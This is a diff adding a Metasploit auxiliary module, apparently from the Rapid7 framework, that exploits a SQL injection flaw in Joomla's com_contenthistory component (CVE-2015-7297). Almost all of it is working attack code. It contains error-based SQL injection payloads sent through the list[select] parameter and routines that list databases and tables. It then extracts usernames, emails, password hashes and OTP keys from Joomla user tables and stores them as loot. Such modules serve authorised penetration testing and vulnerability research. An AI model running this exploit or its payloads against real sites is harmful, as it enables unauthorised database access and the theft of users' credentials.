|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Joomla com_contenthistory Error-Based SQL Injection', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a SQL injection vulnerability in Joomla versions 3.2 |
| 18 | + through 3.4.4 in order to either enumerate usernames and password hashes. |
| 19 | + }, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ['CVE', '2015-7297'], |
| 23 | + ['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/'] |
| 24 | + ], |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Asaf Orpani', # discovery |
| 28 | + 'bperry', # metasploit module |
| 29 | + 'Nixawk' # module review |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'DisclosureDate' => 'Oct 22 2015' |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']) |
| 38 | + ], self.class) |
| 39 | + end |
| 40 | + |
| 41 | + def check |
| 42 | + flag = Rex::Text.rand_text_alpha(8) |
| 43 | + lmark = Rex::Text.rand_text_alpha(5) |
| 44 | + rmark = Rex::Text.rand_text_alpha(5) |
| 45 | + |
| 46 | + payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(' |
| 47 | + payload << "0x#{lmark.unpack('H*')[0]}," |
| 48 | + payload << "(SELECT 0x#{flag.unpack('H*')[0]})," |
| 49 | + payload << "0x#{rmark.unpack('H*')[0]}," |
| 50 | + payload << 'FLOOR(RAND(0)*2)' |
| 51 | + payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' |
| 52 | + |
| 53 | + res = sqli(payload) |
| 54 | + |
| 55 | + if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/ |
| 56 | + Msf::Exploit::CheckCode::Vulnerable |
| 57 | + else |
| 58 | + Msf::Exploit::CheckCode::Safe |
| 59 | + end |
| 60 | + end |
| 61 | + |
| 62 | + def request(query, payload, lmark, rmark) |
| 63 | + query = "#{payload}" % query |
| 64 | + res = sqli(query) |
| 65 | + |
| 66 | + # Error based SQL Injection |
| 67 | + if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/ |
| 68 | + $1 |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + def query_databases(payload, lmark, rmark) |
| 73 | + dbs = [] |
| 74 | + |
| 75 | + query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) ' |
| 76 | + query << 'FROM INFORMATION_SCHEMA.SCHEMATA)' |
| 77 | + |
| 78 | + dbc = request(query, payload, lmark, rmark) |
| 79 | + |
| 80 | + query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) ' |
| 81 | + query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)' |
| 82 | + |
| 83 | + 0.upto(dbc.to_i - 1) do |i| |
| 84 | + dbname = request(query_fmt % i, payload, lmark, rmark) |
| 85 | + dbs << dbname |
| 86 | + vprint_good(dbname) |
| 87 | + end |
| 88 | + |
| 89 | + %w(performance_schema information_schema mysql).each do |dbname| |
| 90 | + dbs.delete(dbname) if dbs.include?(dbname) |
| 91 | + end |
| 92 | + |
| 93 | + dbs |
| 94 | + end |
| 95 | + |
| 96 | + def query_tables(database, payload, lmark, rmark) |
| 97 | + tbs = [] |
| 98 | + |
| 99 | + query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) ' |
| 100 | + query << 'FROM INFORMATION_SCHEMA.TABLES ' |
| 101 | + query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))" |
| 102 | + |
| 103 | + tbc = request(query, payload, lmark, rmark) |
| 104 | + |
| 105 | + query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) ' |
| 106 | + query_fmt << 'FROM INFORMATION_SCHEMA.TABLES ' |
| 107 | + query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) " |
| 108 | + query_fmt << 'LIMIT %d,1)' |
| 109 | + |
| 110 | + vprint_status('tables in database: %s' % database) |
| 111 | + 0.upto(tbc.to_i - 1) do |i| |
| 112 | + tbname = request(query_fmt % i, payload, lmark, rmark) |
| 113 | + vprint_good(tbname) |
| 114 | + tbs << tbname if tbname =~ /_users$/ |
| 115 | + end |
| 116 | + |
| 117 | + tbs |
| 118 | + end |
| 119 | + |
| 120 | + def query_columns(database, table, payload, lmark, rmark) |
| 121 | + cols = [] |
| 122 | + query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" |
| 123 | + |
| 124 | + colc = request(query, payload, lmark, rmark) |
| 125 | + vprint_status(colc) |
| 126 | + |
| 127 | + valid_cols = [ # joomla_users |
| 128 | + 'activation', |
| 129 | + 'block', |
| 130 | + 'email', |
| 131 | + 'id', |
| 132 | + 'lastResetTime', |
| 133 | + 'lastvisitDate', |
| 134 | + 'name', |
| 135 | + 'otep', |
| 136 | + 'otpKey', |
| 137 | + 'params', |
| 138 | + 'password', |
| 139 | + 'registerDate', |
| 140 | + 'requireReset', |
| 141 | + 'resetCount', |
| 142 | + 'sendEmail', |
| 143 | + 'username' |
| 144 | + ] |
| 145 | + |
| 146 | + query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) ' |
| 147 | + query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)" |
| 148 | + |
| 149 | + 0.upto(colc.to_i - 1) do |i| |
| 150 | + record = {} |
| 151 | + valid_cols.each do |col| |
| 152 | + l = 1 |
| 153 | + record[col] = '' |
| 154 | + loop do |
| 155 | + value = request(query_fmt % [col, l, i], payload, lmark, rmark) |
| 156 | + break if value.blank? |
| 157 | + record[col] << value |
| 158 | + l += 54 |
| 159 | + end |
| 160 | + end |
| 161 | + cols << record |
| 162 | + vprint_status(record.to_s) |
| 163 | + end |
| 164 | + |
| 165 | + cols |
| 166 | + end |
| 167 | + |
| 168 | + def run |
| 169 | + lmark = Rex::Text.rand_text_alpha(5) |
| 170 | + rmark = Rex::Text.rand_text_alpha(5) |
| 171 | + |
| 172 | + payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' |
| 173 | + payload << "0x#{lmark.unpack('H*')[0]}," |
| 174 | + payload << '%s,' |
| 175 | + payload << "0x#{rmark.unpack('H*')[0]}," |
| 176 | + payload << 'FLOOR(RAND(0)*2)' |
| 177 | + payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' |
| 178 | + |
| 179 | + dbs = query_databases(payload, lmark, rmark) |
| 180 | + dbs.each do |db| |
| 181 | + tables = query_tables(db, payload, lmark, rmark) |
| 182 | + tables.each do |table| |
| 183 | + cols = query_columns(db, table, payload, lmark, rmark) |
| 184 | + next if cols.blank? |
| 185 | + path = store_loot( |
| 186 | + 'joomla.users', |
| 187 | + 'text/plain', |
| 188 | + datastore['RHOST'], |
| 189 | + cols.to_json, |
| 190 | + 'joomla.users') |
| 191 | + print_good('Saved file to: ' + path) |
| 192 | + end |
| 193 | + end |
| 194 | + end |
| 195 | + |
| 196 | + def sqli(payload) |
| 197 | + send_request_cgi( |
| 198 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 199 | + 'vars_get' => { |
| 200 | + 'option' => 'com_contenthistory', |
| 201 | + 'view' => 'history', |
| 202 | + 'list[ordering]' => '', |
| 203 | + 'item_id' => 1, |
| 204 | + 'type_id' => 1, |
| 205 | + 'list[select]' => '1 ' + payload |
| 206 | + } |
| 207 | + ) |
| 208 | + end |
| 209 | + |
| 210 | +end |
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